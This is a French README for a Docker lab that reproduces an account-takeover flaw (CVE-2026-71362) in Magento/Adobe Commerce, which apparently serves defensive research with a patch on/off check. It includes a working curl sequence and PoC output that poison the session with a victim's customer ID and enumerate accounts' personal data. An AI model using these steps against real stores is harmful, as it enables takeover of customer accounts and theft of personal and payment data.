
Docker lab reproduisant la prise de contrôle de compte CVE-2026-71362 Magento/Adobe Commerce via le basculement d'identité de session client, avec PoC et contrôle A/B/A du patch officiel pour la recherche autorisée.
Un lab Docker autonome, en une seule commande, qui reproduit CVE-2026-71362 de bout en bout et vous permet de vérifier le correctif d'Adobe, afin que les défenseurs, chercheurs et étudiants puissent étudier une véritable primitive de prise de contrôle de compte sur une boutique jetable.
| CVE | CVE-2026-71362 |
| Produit | Adobe Commerce · Adobe Commerce B2B · Magento Open Source |
| Classe | Autorisation incorrecte (CWE-863) — basculement d'identité de session client → prise de contrôle de compte |
| Sévérité | CVSS 3.1 = 9.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Avis | Adobe APSB26-92 (2026-08-11) |
| Versions concernées | Adobe Commerce 2.4.4–2.4.9, Magento Open Source 2.4.6–2.4.9, B2B 1.3.3–1.5.3 — le niveau de correctif isolé -2026-jul et antérieur |
| Corrigé | le niveau de correctif isolé -2026-aug (IDs de correctif 24Xp-2026-08-001-CE) |
⚠️ Usage autorisé uniquement
Ce laboratoire existe pour reproduire une vulnérabilité publique et corrigée à des fins de recherche défensive et de formation. Ne l'utilisez que contre la boutique jetable qu'il construit. Ne l'utilisez pas contre une instance Magento/Adobe Commerce que vous ne possédez pas ou pour laquelle vous n'avez pas d'autorisation écrite explicite de test. Vous êtes responsable du respect de la législation applicable.
Magento\Customer\Controller\Account\Edit::execute() transmet les customer_form_data brutes, contrôlées par l'attaquant, laissées dans la session par un editPost échoué, à DataObjectHelper::populateWithArray(), qui copie chaque clé correspondante sur l'objet client — y compris id. L'objet est ensuite réécrit avec Session::setCustomerData() → setCustomerId($object->getId()), et comme Customer\Model\Session::getId() retourne simplement getCustomerId(), écraser customer_id seul fait que isLoggedIn() retourne true en tant que victime. Aucune vérification de mot de passe, de jeton ou de propriété. Un attaquant ne disposant que d'un compte jetable auto-enregistré peut relier sa session à n'importe quel identifiant client et lire les informations personnelles (PII), les commandes, les adresses et les jetons de paiement stockés de ce compte.
Analyse complète : docs/ROOTCAUSE.md. Règles de détection et WAF : docs/DETECTION.md.
attacker registers ──► POST /customer/account/editPost (change_email=1,
(own account) current_password=wrong, id=<VICTIM>) ─► exception ─►
session.customer_form_data = {... id: <VICTIM> ...}
│
▼
GET /customer/account/edit
populateWithArray(... id=<VICTIM> ...) ─► setId(VICTIM)
setCustomerData() ─► setCustomerId(VICTIM)
│
▼
attacker's OWN cookie now resolves to the VICTIM everywhere (dashboard,
order history, address book, section/load) ─► account takeover.
pip install -r exploit/requirements.txtLe build récupère Magento Open Source depuis des sources publiques ; aucune clé Adobe Marketplace n'est requise.
git clone https://github.com/dinosn/cve-2026-71362-magento-lab.git
cd cve-2026-71362-magento-lab
make up # build + start; FIRST BOOT INSTALLS MAGENTO (15-40 min). Watch: make logs
make wait # blocks until the storefront returns HTTP 200
make exploit # runs the PoC
Boutique : http://127.0.0.1:8080/ · Admin : http://127.0.0.1:8080/admin (admin / Admin123!). Modifiez l'hôte/le port dans .env (voir .env.example) — la valeur doit correspondre à l'URL que vous consultez, car Magento lie son cookie de session à l'URL de base de la boutique.
[1] attacker authenticated as its OWN account: firstname='Mallory'
[+] registered a victim to steal: firstname='VICTIM…' email='victim…@lab.test'
[2] enumerating customer_id 1..25 by rebinding the attacker session to each:
customer_id=1 -> VICTIM… Target <victim…@lab.test>
...
>>> ACCOUNT TAKEOVER: attacker's session hijacked customer_id=1 (VICTIM…) and read
every enumerated account's PII with only self-registration.
make patch # apply Adobe's official APSB26-92 Edit.php fix
make exploit # -> NOT exploited (session identity unchanged)
make unpatch # restore the vulnerable file
make exploit # -> ACCOUNT TAKEOVER again
make patch insère patch/Edit.patched.php — la modification exacte en amont issue de patch/official-APSB26-92-module-customer.patch. Activer/désactiver uniquement ce fichier est l'oracle qui prouve que le bug est précisément ce fragment.
# form_key + cookies
curl -c jar -s http://127.0.0.1:8080/customer/account/create | grep -o 'name="form_key"[^>]*'
# 1. register attacker (auto-logged-in)
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/createPost \
--data-urlencode form_key=<FK> --data-urlencode firstname=Mallory \
--data-urlencode lastname=Attacker --data-urlencode [email protected] \
--data-urlencode password='Attacker#123' --data-urlencode password_confirmation='Attacker#123'
# 2. poison the session: failing editPost carrying id=<VICTIM>
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/editPost \
--data-urlencode form_key=<FK2> --data-urlencode id=1 \
--data-urlencode change_email=1 --data-urlencode current_password=wrong \
--data-urlencode [email protected]
# 3. trigger + observe: the attacker cookie now resolves to customer_id=1
curl -b jar -s http://127.0.0.1:8080/customer/account/edit | grep -Ei 'name="(firstname|email)"'
Appliquez le correctif isolé APSB26-92 d'août 2026 pour votre branche (24Xp-2026-08-001-CE). Adobe met à disposition le registre des correctifs et les diffs bruts sans identifiants à l'adresse https://repo.magento.com/patch/patch-registry.json. Le correctif n'est pas sur GitHub public — aucun package Composer ni tag git n'a été publié pour lui, donc composer update ne le récupérera pas.
docker-compose.yml nginx + php(-fpm) + mariadb + opensearch + redis
php/entrypoint.sh first-boot installer (clone -> composer -> setup:install -> configure)
exploit/poc.py the PoC + PII-enumeration oracle
scripts/patch.sh apply Adobe's official fix scripts/unpatch.sh restore vulnerable
patch/ official diff + vulnerable/patched Edit.php
docs/ROOTCAUSE.md code-level walkthrough docs/DETECTION.md WAF + forensics
make logs et attendez Install complete, puis make wait.generated/ ; lancez make shell puis php bin/magento cache:flush (l'entrypoint gère normalement cela).MAGENTO_HOST/HOST_PORT dans .env égaux à l'URL que vous (et TARGET) utilisez.MIT — voir LICENSE. Fourni à des fins éducatives et de test autorisé, sans aucune garantie.